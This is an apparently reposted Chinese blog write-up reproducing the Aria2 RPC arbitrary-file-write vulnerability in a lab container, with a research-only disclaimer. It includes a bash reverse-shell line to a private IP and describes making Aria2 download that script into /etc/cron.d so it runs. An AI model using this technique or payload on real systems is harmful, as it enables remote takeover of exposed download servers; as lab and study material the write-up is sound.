2019-11-13:Aria2任意文件写入漏洞

*文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。

Aria2 任意文件写入漏洞

Aria2是一个命令行下轻量级、多协议、多来源的下载工具(支持 HTTP/HTTPS、FTP、BitTorrent、Metalink),内建XML-RPC和JSON-RPC接口。在有权限的情况下,我们可以使用RPC接口来操作aria2来下载文件,将文件下载至任意目录,造成一个任意文件写入漏洞。

参考文章:https://paper.seebug.org/120/

启动漏洞环境:

运行命令,docker-compose up -d 

6800是aria2的rpc服务的默认端口,环境启动后,访问192.168.190.133:6800/,发现服务已启动,没有任何内容,但是访问也不报错,使用bp抓包,可以看到返回的是404,ps:ip为虚拟机靶机ip

 

漏洞利用

1,因为rpc通信需要使用json或者xml,不太方便,所以我们可以借助第三方UI来和目标通信,如,http://binux.github.io/yaaw/demo/#,点击设置,连接设置

填入运行aria2的目标域名:http://192.168.190.133:6800/jsonrpc,保存

2,写反弹shell脚本,

#!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.91.128/4444 0>&1

3,可以用sunny开通内网穿透服务,https://www.ngrok.cc/user.html

4,启动打开内网穿透功能机器的web服务,保证Aria2服务器可以访问

 service apache2 start

5,rpc通信下,点击add添加下载任务,filename为下载之后文件名,dir为下载之后保存的目录,/etc/cron.d是计划启动目录

 

6,点击add之后就开始下载了,如果网络访问正常,就可以下载完成

7,进入容器,访问 /etc/cron.d可以看到下载的文件

docker ps,查看容器id

docker exec -it 容器Id /bin/bash,进入容器shell

cd /etc/cron.d,进入到cron.d目录

ls,查看目录下文件

cat shell,确实是写的文件

 

8,等到文件运行起来之后,shell就反弹成功

遇到问题

因为等了很久没有看到shell反弹成功,就去检查问题,

分析过程:

1.shell脚本是否能执行;直接运行shell命令,或者为其添加可执行权限后再执行,检查kali监听状态,发现可以监听到,脚本OK

2.检查定时任务。。。这个确实是环境不允许,靶场docker镜像不完整,crontab -l 检查,没有定时任务在执行;检查定时任务服务开启,没有问题,检查日志,该环境没有crontab日志,且进行下一步检查时,缺少crontab的其他环境,无法继续,可以推断这个问题,就是因为环境的不完整导致的。

 

 

3.但是,在靶机环境中/etc/cron.d中,确实下载了shell文件,可以证明aria2这个漏洞确实是存在的。在更完整的生产环境中,应该是可以正常拿shell的。

 完

猜你喜欢

转载自www.cnblogs.com/sym945/p/11787683.html